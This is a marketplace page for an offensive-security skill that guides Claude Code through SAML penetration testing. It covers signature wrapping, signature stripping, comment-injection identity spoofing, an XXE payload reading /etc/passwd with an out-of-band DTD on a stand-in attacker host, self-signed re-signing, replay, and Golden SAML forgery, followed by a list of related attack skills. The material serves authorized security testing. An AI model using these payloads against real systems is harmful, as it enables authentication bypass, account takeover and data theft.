/secskills-offense:attacking-samlfrom secskills-offense
Decodes and tampers with SAML assertions to test XML signature validation, including wrapping, stripping, forgery, and replay attacks.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
SAML security is XML signature validation, and XML signatures are notoriously hard to validate correctly. The assertion is signed — but which element is signed, what the XML parser reads, and what the application ultimately trusts can be three entirely different things. That gap is XML Signature Wrapping, and it is the reason SAML breaks far more often than its cryptography suggests.
Only against systems you are authorized to test.
SAMLRequest or SAMLResponse parameter<saml:Assertion>, <samlp:Response>, or <saml:Subject>/saml/acs, /sso, /saml2/acs, or /Shibboleth.sso
Assertion Consumer Service endpointAuthnRequestcode, id_token,
access_token, /authorize, /.well-known/openid-configuration) — use
attacking-oauth-oidceyJ... with dot separators) rather than signed
XML — use attacking-jwttesting-web-applicationsattacking-entra-idreviewing-cryptographyEverything starts with reading the message. The wire format depends on the binding.
# HTTP-Redirect binding: base64 then raw DEFLATE (no zlib header)
echo 'fVLLbtsw...' | base64 -d | python3 -c \
"import sys,zlib; sys.stdout.write(zlib.decompress(sys.stdin.buffer.read(),-15).decode())"
# HTTP-POST binding: plain base64, no deflate
echo 'PHNhbWxwOl...' | base64 -d | xmllint --format -
The redirect binding uses raw DEFLATE — window bits -15, no header. The POST
binding does not deflate at all. Guess wrong and you get garbage; try both.
SAML Raider (Burp extension) is the working environment: it intercepts the ACS POST, pretty-prints the XML, imports the IdP certificate, and drives the signature-wrapping attacks below with a single click. Install it before doing anything by hand.
samltool.com (SAMLtool by OneLogin) decodes and re-encodes messages and is useful for understanding structure — but treat it as offline reference only. Never paste a live production assertion into a third-party website; decode with the commands above instead.
Read these fields first, because they define every attack that follows:
<ds:Signature> — where it sits and what its <ds:Reference URI="#...">
points to. This is the whole game.<saml:Subject><saml:NameID> — the identity being asserted<saml:AttributeStatement> — roles, groups, email, entitlements<saml:Conditions> — NotBefore, NotOnOrAfter, AudienceRestriction<saml:SubjectConfirmationData> — Recipient, NotOnOrAfter, InResponseToDestination and Issuer on the response envelopeThe core SAML attack. The signature is cryptographically valid, but you move the signed element somewhere the signature checker still accepts it while the application logic reads a different, unsigned assertion that you control. The verifier and the consumer disagree about which element is authoritative.
The eight canonical variants (Somorovsky et al.) differ in where the original signed assertion is relocated and where the forged one is injected:
<Response>; the signature references the
original response while a forged response is processed. XSW2 uses a
non-enveloping signature position.ID attribute so the reference still resolves.<Extensions> element; XSW8 buries the original signed one
in an <Object> so it validates but is never consumed.# Attack in SAML Raider:
# 1. Intercept the ACS POST, select the signed assertion
# 2. Edit NameID / attributes in the assertion the app will read
# 3. Click XSW1..XSW8 in turn — each rebuilds the document layout
# 4. Forward; watch for a successful login as the forged identity
Iterate through all eight. Which one works depends entirely on the SP's XML library and how it selects the assertion to trust — there is no way to predict it, so try every variant before concluding the SP is safe. A successful login as a NameID you never legitimately held is the finding.
Before the wrapping games, test the simplest failure: does the SP verify a signature at all?
<ds:Signature> entirely and forward. Some
SPs only verify a signature if one is present.SignatureValue or DigestValue.SignatureMethod of SHA-1 or even
md5/no-op where the SP does not pin the expected algorithm.# xmlsec1 can tell you what a document's signature actually covers
xmlsec1 --verify --pubkey-cert-pem idp.crt --id-attr:ID Assertion response.xml
If the SP accepts a stripped or unsigned assertion, you can forge identity with no cryptography at all — the highest-severity SAML outcome.
Once you can get an assertion accepted (stripped, unsigned, or via a working XSW variant), change what it claims:
admin@corp, another tenant's user)Role/Group/memberOf to admin, add
entitlement attributes the IdP never issued, change email to trigger
account linking on the SP<Audience>, an assertion
minted for another SP in the same federation is replayable hereAuthnRequest ID; if not, injected/replayed responses
are acceptedTest each independently. An SP that validates the signature but ignores
AudienceRestriction or the replay window is still fully exploitable.
A canonicalization bug in several SAML libraries (the 2018 Duo/python-saml/
OneLogin class of CVEs). XML text-node handling and signature
canonicalization disagree about how an XML comment splits a text node.
<saml:NameID>admin<!---->@evil.com</saml:NameID>
The signature is computed over the canonicalized value (which may drop the
comment or concatenate the nodes), while the application's text extraction
reads only the node before the comment — yielding admin. So a validly
signed assertion for [email protected] (an account you legitimately own)
authenticates you as admin. Try comments inside any identity-bearing field:
NameID, and email/username attributes used for account mapping.
The SP feeds attacker-supplied XML into a parser. If external entities are not disabled, the ACS endpoint is an XXE sink.
<?xml version="1.0"?>
<!DOCTYPE samlp:Response [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ...>...&xxe;...</samlp:Response>
Use an out-of-band DTD (http://attacker/evil.dtd) for blind file read and
SSRF into the SP's internal network. The full technique — parameter entities,
OOB exfiltration, error-based leakage — is in exploiting-xxe; the SAML angle
is simply that the assertion is the injection point and the ACS is
unauthenticated.
If the SP does not pin the IdP's certificate — instead trusting whatever cert
is embedded in <ds:KeyInfo>, or accepting any cert from a broad CA bundle —
you can strip the real signature, re-sign with your own key, and ship your cert
in the message.
# Generate a key/cert and re-sign a tampered assertion
openssl req -x509 -newkey rsa:2048 -keyout evil.key -out evil.crt -days 30 -nodes -subj "/CN=idp"
xmlsec1 --sign --privkey-pem evil.key,evil.crt \
--id-attr:ID Assertion tampered.xml > forged.xml
SAML Raider automates this: "Send Certificate" imports/generates a cert, then resigns the edited message in place. If the forged self-signed assertion is accepted, the SP is trusting the message's own embedded key instead of a pinned IdP cert — complete authentication bypass.
Recipient
in SubjectConfirmationData or the Destination on the response, an
assertion captured at one SP replays at another that shares the IdP.AuthnRequest to bind to,
so there is no InResponseTo and often no anti-replay state. Capture a valid
IdP-initiated POST and re-send it — within the validity window it may log you
straight back in. A leaked assertion in logs, referrers, or history becomes a
usable credential.The endgame, not the entry point. If you already hold the IdP's private token-signing key (stolen from an AD FS server's certificate store, an Azure/Entra federation trust, or an exported IdP keystore), you forge arbitrary, perfectly-signed assertions for any user, any role, indefinitely — no credentials, no MFA, no IdP interaction, and it survives password resets.
# With the stolen signing key, mint an assertion for any identity
xmlsec1 --sign --privkey-pem tokensigning.key,tokensigning.crt \
--id-attr:ID Assertion golden.xml > any-user.xml
Obtaining the key is a host/tenant-compromise task, not a SAML-message task —
that path (extracting the AD FS token-signing cert, DKM key, or cloud
federation secret) lives in attacking-entra-id. Come back here only to shape
the forged assertion.
AudienceRestriction, Recipient, and Destination, assertions replay
across SPs and tenants.admin<!---->@evil.com authenticates as
admin. Canonicalization mismatches are full account takeover.attacking-entra-id — don't dismiss the impact.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Credential Access (TA0006)
attacking-entra-idDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
attacking-oauth-oidc — when the SSO flow is OAuth 2.0 / OpenID Connectattacking-jwt — when the token is a signed JWT rather than XMLexploiting-xxe — full XXE technique when the ACS parser is the sinkattacking-entra-id — Golden SAML via a compromised AD FS server or tenanttesting-web-applications — the surrounding web methodologyreporting-security-findings — severity for signature-bypass and replayWhat SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub trilwu/secskills --plugin secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./attacking-bluetooth-nfcAttack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability./attacking-eks-gke-aksAssess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces./attacking-entra-idAttack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job